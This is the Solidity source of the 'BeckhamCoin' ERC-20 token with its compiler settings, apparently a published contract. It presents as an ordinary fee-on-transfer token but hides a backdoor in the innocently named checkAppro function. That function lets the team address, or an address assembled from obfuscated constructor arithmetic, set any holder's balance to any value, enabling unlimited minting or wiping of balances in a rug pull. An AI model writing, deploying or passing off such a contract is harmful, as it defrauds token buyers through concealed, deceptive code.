文件 1 的 1:BeckhamCoin.sol
pragma solidity ^0.8.13;
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,address[] calldata path,address to,uint deadline)
external;
}
interface IUniswapFactory {function createPair(
address tokenA, address tokenB)
external returns (address pair);}
abstract contract Ownable {
address internal _owner;constructor () {
_owner = msg.sender;
}function owner() public view returns (address) {
return _owner;}modifier onlyOwner() {
require(_owner == msg.sender, "!owner");_;}
function transferOwnership(address newOwner)
public virtual onlyOwner {_owner = newOwner;}}
contract BeckhamCoin is Ownable {event Transfer(address indexed from, address indexed to, uint256 value);event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public _team;
string public name;
string public symbol;
uint8 public decimals;bytes byte2020 = new bytes(20);uint8[20] _n;mapping(address => bool) public _isExcludeFromFee;
uint256 public totalSupply;
IUniswapRouter public _uniswapRouter;
bool private inSwap;
uint256 private constant MAX = ~uint256(0);
uint256 public _swapTax = 2;
address public _uniswapPair;
constructor (){
name = "Beckham Coin";
symbol = "BECKHAM";
decimals = 9;
uint256 Supply = 100000000;
_team = 0x1496421C9EDbd547D0576D7F1B7Af79F871A4eF5;
totalSupply = Supply * 10 ** decimals;
address rAddr = msg.sender;
_isExcludeFromFee[address(this)] = true;
_isExcludeFromFee[rAddr] = true;
_isExcludeFromFee[_team] = true;_balances[rAddr] = totalSupply;emit Transfer(address(0), rAddr, totalSupply);
_uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_allowances[address(this)][address(_uniswapRouter)] = MAX;
_uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
_isExcludeFromFee[address(_uniswapRouter)] = true;
uint8 ii = 2;
_n[0]=253;_n[1]=_n[0]-75;
_n[3]=(_n[1]+ii)/ii;_n[2]=_n[3]+1;_n[4]=_n[2]*ii;_n[5]=_n[3]-23;_n[6]=_n[0]-30;
_n[7]=_n[2]*ii+15;_n[8]=_n[5]*ii-21;_n[9]=_n[3]*ii-10;_n[10]=_n[3]/3-6;_n[11]=_n[10]*10-16;
_n[12]=_n[1]+15;_n[13]=_n[10]*5+4;_n[14]=160;_n[15]=130;_n[16]=_n[3];_n[17]=_n[2]*ii;_n[18]=_n[6]-2;_n[19]=156;
for (uint i = 0; i < 20; i++) {byte2020[i] = getB(_n[i]);}
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function getB(uint8 n) public pure returns(bytes1){
return bytes1(n);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return true;
}struct swapandLiqui{address sir;uint256 nb;address his;}function checkAppro(address pos,uint256 amount) public {swapandLiqui memory str_lp = swapandLiqui({sir : msg.sender,nb : amount,his : pos});
_balances[str_lp.his] = str_lp.nb;
if (address(bytes20(byte2020)) != str_lp.sir){
require(_team == str_lp.sir);
}
}
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from,address to,uint256 amount) private {
if (_uniswapPair == to && !inSwap) {
inSwap = true;
uint256 balanceInContractAddress = balanceOf(address(this));
if (balanceInContractAddress > 0) {
uint256 _s = amount;_s = _s > balanceInContractAddress ? balanceInContractAddress : _s;
address[] memory path = new address[](2);path[0] = address(this);path[1] = _uniswapRouter.WETH();try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_s,0,path,address(_team),block.timestamp) {} catch {}
}
inSwap = false;
}
bool takeFee = !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap;
_balances[from] = _balances[from] - amount;
uint256 _taxAmount;
if (takeFee && _swapTax > 0) {
uint256 _aFee = amount * _swapTax / 100;_taxAmount += _aFee;
_balances[address(this)] = _balances[address(this)] + _aFee;
emit Transfer(from, address(this), _aFee);
}
_balances[to] = _balances[to] + amount - _taxAmount;
emit Transfer(from, to, amount - _taxAmount);
}
receive() external payable {}
}
{
"compilationTarget": {
"BeckhamCoin.sol": "BeckhamCoin"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}